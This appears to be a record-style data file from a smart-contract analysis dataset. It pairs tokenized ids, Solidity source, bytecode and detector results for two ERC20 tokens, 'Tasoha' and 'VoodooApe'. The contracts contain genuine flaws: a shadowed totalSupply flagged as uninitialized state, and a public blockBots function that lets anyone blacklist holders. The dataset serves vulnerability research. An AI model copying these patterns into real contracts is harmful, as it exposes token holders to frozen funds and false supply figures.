[ 101, 1014, 2595, 2683, 2575, 10790, 2581, 18827, 2063, 2629, 2278, 2475, 11329, 2487, 4215, 2094, 2620, 2278, 2546, 2683, 2098, 21926, 22203, 2063, 19961, 2629, 3676, 2692, 2620, 2278, 2549, 18939, 2629, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1008, 1008, 1008, 1008, 16770, 1024, 1013, 1013, 19888, 11636, 1012, 3006, 1008, 1008, 1008, 1008, 2184, 1003, 4443, 7408, 1008, 2382, 1003, 2000, 3040, 3630, 3207, 6523, 7941, 2015, 1008, 1014, 1003, 4651, 7408, 1008, 6164, 7408, 4627, 2012, 2753, 1003, 2013, 3206, 2707, 1008, 6164, 7408, 17913, 2058, 2382, 2420, 2127, 1017, 1003, 1008, 12237, 2012, 1017, 1003, 5091, 1010, 8558, 4352, 2460, 14279, 1012, 1008, 1013, 3206, 19888, 11636, 22305, 2063, 1063, 16913, 18095, 2069, 16078, 17794, 1063, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,018
0x9610a9c2b77e931ce33456b51db1ff8c12557f19
pragma solidity ^0.4.24; // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts/Tasoha.sol // TestToken.sol pragma solidity ^0.4.19; /** * @title BearToken is a basic ERC20 Token */ contract Tasoha is StandardToken, Ownable{ uint256 public totalSupply; string public name; string public symbol; uint32 public decimals; /** * @dev assign totalSupply to account creating this contract */ constructor() public { symbol = "TSH"; name = "Tasoha.com"; decimals = 18; totalSupply = 900000000000000000000000000000; owner = msg.sender; balances[msg.sender] = totalSupply; emit Transfer(0x0, msg.sender, totalSupply); }}
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101ca57806323b872dd146101f5578063313ce5671461027a57806366188463146102b157806370a0823114610316578063715018a61461036d5780638da5cb5b1461038457806395d89b41146103db578063a9059cbb1461046b578063d73dd623146104d0578063dd62ed3e14610535578063f2fde38b146105ac575b600080fd5b3480156100e157600080fd5b506100ea6105ef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b3480156101d657600080fd5b506101df61077f565b6040518082815260200191505060405180910390f35b34801561020157600080fd5b50610260600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610785565b604051808215151515815260200191505060405180910390f35b34801561028657600080fd5b5061028f610b40565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3480156102bd57600080fd5b506102fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b56565b604051808215151515815260200191505060405180910390f35b34801561032257600080fd5b50610357600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610de8565b6040518082815260200191505060405180910390f35b34801561037957600080fd5b50610382610e30565b005b34801561039057600080fd5b50610399610f35565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e757600080fd5b506103f0610f5b565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610430578082015181840152602081019050610415565b50505050905090810190601f16801561045d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047757600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ff9565b604051808215151515815260200191505060405180910390f35b3480156104dc57600080fd5b5061051b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611219565b604051808215151515815260200191505060405180910390f35b34801561054157600080fd5b50610596600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611415565b6040518082815260200191505060405180910390f35b3480156105b857600080fd5b506105ed600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061149c565b005b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106855780601f1061065a57610100808354040283529160200191610685565b820191906000526020600020905b81548152906001019060200180831161066857829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107d457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561085f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561089b57600080fd5b6108ec826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061097f826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a5082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600760009054906101000a900463ffffffff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610c68576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cfc565b610c7b838261150490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e8c57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ff15780601f10610fc657610100808354040283529160200191610ff1565b820191906000526020600020905b815481529060010190602001808311610fd457829003601f168201915b505050505081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561104857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561108457600080fd5b6110d5826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611168826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006112aa82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114f857600080fd5b61150181611539565b50565b600082821115151561151257fe5b818303905092915050565b6000818301905082811015151561153057fe5b80905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561157557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582076ca1e26dbe3580c955a878e6014243bdf0f823f7530368873d2dd31a84922560029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 10790, 2050, 2683, 2278, 2475, 2497, 2581, 2581, 2063, 2683, 21486, 3401, 22394, 19961, 2575, 2497, 22203, 18939, 2487, 4246, 2620, 2278, 12521, 24087, 2581, 2546, 16147, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 5371, 1024, 22116, 1011, 5024, 3012, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 22083, 2594, 1012, 14017, 1013, 1008, 1008, 1008, 1030, 2516, 9413, 2278, 11387, 22083, 2594, 1008, 1030, 16475, 16325, 2544, 1997, 9413, 2278, 11387, 8278, 1008, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 20311, 1008, 1013, 3206, 9413, 2278, 11387, 22083, 2594, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,019
0x9610FA8f117b3B7f88C8103E99c91f670c871698
//SPDX-License-Identifier: MIT /** https://t.me/voodooape **/ pragma solidity ^0.8.12; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract VoodooApe is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = 2000000000 * 10**8; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; uint256 private _maxWallet; string private constant _name = "Voodoo Ape"; string private constant _symbol = "VOODOOAPE"; uint8 private constant _decimals = 8; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _taxFee = 13; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(50); _maxWallet=_tTotal.div(50); _balance[address(this)] = _tTotal; emit Transfer(address(0x0), address(this), _tTotal); } function maxTxAmount() public view returns (uint256){ return _maxTxAmount; } function maxWallet() public view returns (uint256){ return _maxWallet; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to], "This account is blacklisted"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); require(_canTrade,"Trading not started"); require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 500000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function decreaseTax(uint256 newTaxRate) public onlyOwner{ require(newTaxRate<_taxFee); _taxFee=newTaxRate; } function increaseBuyLimit(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function createPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; } function enableTrading() external onlyOwner{ _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function increaseMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } receive() external payable {} function blockBots(address[] memory bots_) public { for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(_uniswap) && bots_[i]!=address(_pair) &&bots_[i]!=address(this)){ bots[bots_[i]] = true; } } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function manualsend() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
0x6080604052600436106101435760003560e01c8063715018a6116100b65780639e78fb4f1161006f5780639e78fb4f146103a5578063a9059cbb146103ba578063bfd79284146103da578063dd62ed3e1461040a578063e8078d9414610450578063f8b45b051461046557600080fd5b8063715018a6146102ec5780638a8c523c146103015780638c0b5e22146103165780638da5cb5b1461032b57806395d89b41146103535780639a024c1a1461038557600080fd5b8063313ce56711610108578063313ce567146102255780633e7175c51461024157806350e6a5c9146102615780636b999053146102815780636fc3eaec146102a157806370a08231146102b657600080fd5b8062b8cf2a1461014f57806306fdde0314610171578063095ea7b3146101b657806318160ddd146101e657806323b872dd1461020557600080fd5b3661014a57005b600080fd5b34801561015b57600080fd5b5061016f61016a3660046115c8565b61047a565b005b34801561017d57600080fd5b5060408051808201909152600a815269566f6f646f6f2041706560b01b60208201525b6040516101ad919061168d565b60405180910390f35b3480156101c257600080fd5b506101d66101d13660046116e2565b6105a4565b60405190151581526020016101ad565b3480156101f257600080fd5b506006545b6040519081526020016101ad565b34801561021157600080fd5b506101d661022036600461170e565b6105bb565b34801561023157600080fd5b50604051600881526020016101ad565b34801561024d57600080fd5b5061016f61025c36600461174f565b610624565b34801561026d57600080fd5b5061016f61027c36600461174f565b61066a565b34801561028d57600080fd5b5061016f61029c366004611768565b6106a7565b3480156102ad57600080fd5b5061016f6106f2565b3480156102c257600080fd5b506101f76102d1366004611768565b6001600160a01b031660009081526002602052604090205490565b3480156102f857600080fd5b5061016f6106ff565b34801561030d57600080fd5b5061016f610773565b34801561032257600080fd5b506009546101f7565b34801561033757600080fd5b506000